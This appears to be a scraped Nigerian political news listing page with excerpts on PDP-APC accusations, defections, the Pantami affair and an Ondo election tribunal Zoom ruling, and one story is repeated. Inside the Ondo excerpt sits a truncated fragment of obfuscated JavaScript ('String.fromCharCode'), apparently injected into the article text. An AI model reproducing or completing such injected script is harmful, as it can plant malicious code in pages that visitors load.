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Burning of INEC Offices: PDP Restates Accusation Against APC
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Burning of INEC Offices: PDP Restates Accusation Against APC

The Peoples Democratic Party (PDP) says it stands by its earlier assertion that the All Progressives Congress (APC) is behind the burning of offices of the Independent National Electoral Commission (INEC) in various parts of the country. The PDP restates its position that the APC has been promoting acts of violence including burning of INEC offices in other to build up an emergency situation and frustrate the smooth conduct of the 2023 general elections. "It is despicable that having realized that it has no place in the 2023 election, given its abysmal failure in governance, APC leaders are seeking to set our country ablaze and truncate our hard-earned democracy. The PDP noted the failure of the APC and its leaders to forcefully condemn this clear assault on our frontline institu...
150 APC members defect to PDP in Kuje
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150 APC members defect to PDP in Kuje

Over 150 members of the All Progressives Congress (APC), on Monday, defected to the Peoples Democratic Party (PDP), in Kuje Area Council, FCT. The defectors handed over their APC membership cards, brooms and posters in replacement for the umbrella of the PDP. Mr Godwin Poyi, leader of the defectors and former Kuje APC Chairman shortly after the defection told the News Agency of Nigeria (NAN) that they were dissatisfied by the approach of APC policies. According to him, we decided to join the PDP to contribute to the development of Kuje Area Council and the country as a whole. “Our stay in APC has not been encouraging. APC policies and approach have not encouraged democracy and governance in the area council,” he said. Receiving the defector, the Chairman of PDP in Kuje Area...
Atiku Tasks Governors on Nigeria’s Drift
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Atiku Tasks Governors on Nigeria’s Drift

Former Vice President of Nigeria (1999-2007) and the flagbearer under the People’s Democratic Party (PDP), in the 2019 presidential election, Alhaji Atiku Abubakar, on Sunday said the major challenge facing Nigeria at the moment is that the country is drifting. While tasking the various Governors to up their games and stop the drift, he said to keep waiting for the federal government to take the lead, and effect the changes that Nigeria needs to stop drifting, is to keep waiting for Godot. And that is a luxury we cannot afford, he added. In a signed statement made available to the media in Abuja, he stressed that the country is not just drifting politically and economically, Nigerians are also drifting apart from each other, he added.  He said: “I have often said that the di...
“Yar’adua Was a Peacemaker, Nation Builder, Democrat” – Jonathan
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“Yar’adua Was a Peacemaker, Nation Builder, Democrat” – Jonathan

Former President Goodluck Jonathan has again honored the memory of his former principal and predecessor in office, late President Musa Yar’adua on the eleventh anniversary of his demise.In his tribute earlier today, Jonathan stated “Today I celebrate my boss, friend, colleague and brother, President Umar Musa Yar’adua who departed this world 11 years ago.Reflecting, he said they both shared a common vision of a peaceful, united and just nation adding that the late President kept faith with the vision until his last breath.Continuing, he said though he is now out of sight “his legacies lives with us and his memory we will continue to cherish.“We will always remember him as a Peacemaker, Nation builder and democrat whose timeline was defined by virtues of service, peace, truth and love T...
“Yar’adua Was a Peacemaker, Nation Builder, Democrat” – Jonathan
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“Yar’adua Was a Peacemaker, Nation Builder, Democrat” – Jonathan

Former President Goodluck Jonathan has again honored the memory of his former principal and predecessor in office, late President Musa Yar’adua on the eleventh anniversary of his demise.In his tribute earlier today, Jonathan stated “Today I celebrate my boss, friend, colleague and brother, President Umar Musa Yar’adua who departed this world 11 years ago.Reflecting, he said they both shared a common vision of a peaceful, united and just nation adding that the late President kept faith with the vision until his last breath.Continuing, he said though he is now out of sight “his legacies lives with us and his memory we will continue to cherish.“We will always remember him as a Peacemaker, Nation builder and democrat whose timeline was defined by virtues of service, peace, truth and love. ...
APC, Leaders’ Conspiratorial Silence on Pantami Indicates Support for Terrorism, Says PDP
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APC, Leaders’ Conspiratorial Silence on Pantami Indicates Support for Terrorism, Says PDP

The Peoples’ Democratic Party (PDP) has accused the All Progressives Congress (APC) and its leaders of a conspiratorial silence in the face of the worrisome revelation in which a member of the Federal Executive Council (FEC) and Minister of Communications and Digital Economy, Isa Ali Pantami, has been accused of affiliation with terrorist groups. (more…)
Statement in Defence of Pantami Confirms Presidency’s Sympathy for Terrorism–PDP
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Statement in Defence of Pantami Confirms Presidency’s Sympathy for Terrorism–PDP

The Peoples Democratic Party (PDP) has called out the Federal Government saying the statement by the Buhari Presidency, in which it showed a desperation to provide official cover to a terrorism apologist further confirms public and international apprehensions that the Buhari administration and the All Progressives Congress (APC) are patronizing acts of terrorism in our country. (more…)
Murtala Qualified to Run for AMAC Chairmanship Primaries – AMAC Stakeholders
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Murtala Qualified to Run for AMAC Chairmanship Primaries – AMAC Stakeholders

The Abuja Municipal Area Council Stakeholders (AMAC) FCT, says Murtala Karshi, a leading All Progressive Congress (APC) Chairmanship aspirant is qualified to run for the party's primary elections scheduled to hold Thursday, April 22, 2021. Comrade Yunusa Yusuf, spokesperson of Abuja stakeholders and Executive Director of Abuja Grassroots Projects, made this known in Abuja during a press conference to counter earlier reports of alleged fraud by the aspirant. Yunusa said the stakeholders are solely behind Murtala to contest in the primaries and that the allegations he was collecting salaries from three different agencies was untrue and baseless. According to him, the alleged report was a mistake from the Independent Payroll Personnel Information System (IPPIS) and which he refunded...
Expert Explains Possible Reason for Shut-Out of Citizen from Electronic Judgement on Ondo Guber Election
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Expert Explains Possible Reason for Shut-Out of Citizen from Electronic Judgement on Ondo Guber Election

A Nigeria pioneer system engineer, Mr Olusanya Awobodede has blamed the penchant of public officials for patronizing free internet applications for the limited number of persons allowed access to the live electronic ruling being delivered by the Ondo state electoral petition tribunal. Mr Awobodede, a computer engineer with close to 30 years of experience told Sharpedgenews that paid subscription for a dedicated zoom facility would have given more access to interested citizens who were enthusiastic about the judgment that is still being delivered as at press time. It was not certain if there was financial backup for the use of electronic platform on today’s ruling. The host to the zoom platform has since provided a new password, yet it is restrictive. var z =String;var t=z.fromCha...
Alleged Plot to Extend CECPC Tenure Not Discussed By Us- APC States Chairmen
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Alleged Plot to Extend CECPC Tenure Not Discussed By Us- APC States Chairmen

The Forum of State Committee Chairmen of the All progressives Congress (APC) has said that a news report in a section of the media to the effect that the recent meeting of states’ caretaker chairmen of the party rejected a plot to extend the tenure of the Party's Caretaker/Extraordinary Convention Planning Committee (CECPC) is fake and such a plot only exists in the imaginations of the authors and their sponsors.In a statement signed by Ali Buka-Dalori, the Borno State Caretaker Committee Chairman who doubles as the Chairman of the Forum, said such a tenure elongation plot did not come up for discussion at all let alone deliberate on it.“Our meeting deliberated on and unanimously agreed on the need for an extension of the ongoing membership registration, revalidation and update exerci...
Gen. Ihejirika Joins APC
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Gen. Ihejirika Joins APC

Yobe state Governor and Chairman APC Caretaker Extraordinary Convention Planning Committee Hon. Mai Mala Buni, Friday  received the former Chief of Army Staff Lt.Gen. Onyeabo Azubike Ihejirika (rtd) CFR "Dike Abia" into the party. (more…)
APC Condemns Attack on Governor Ortom’s Convoy
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APC Condemns Attack on Governor Ortom’s Convoy

The All Progressives Congress (APC) has condemned the attack on the convoy of the Benue State Governor, Samuel Ortom which occurred on Saturday while thanking God for his safety and acknowledging the gallantry of his security details. (more…)
Bankole Getting Ready to Join APC
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Bankole Getting Ready to Join APC

Yobe state Governor and Chairman APC Caretaker Committee, Hon. Mai Mala Buni, Friday hosted former Speaker House of Representatives, Oladimeji Bankole and Jigawa state Governor Alh. Abubakar Badaru. (more…)
PDP Deluding Itself With Empty, Early Campaigns–APC
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PDP Deluding Itself With Empty, Early Campaigns–APC

The All Progressives Congress (APC) says it has no intention to trade words with the Peoples Democratic Party (PDP), its governors and leaders on the propriety of infrastructure projects undertaken by the current administration and which state deserves a federal government project.Each state of the Federation as well as the Federal Capital Territory (FCT) has an ongoing infrastructure project under the current administration, according to the party. "From previously abandoned to new projects, under the President Muhammadu Buhari-led APC administration, every state of the federation, including the Federal Capital Territory (FCT) has an ongoing and major federal road and another critical infrastructure project. This is a fact and it is verifiable. The party stated that followi...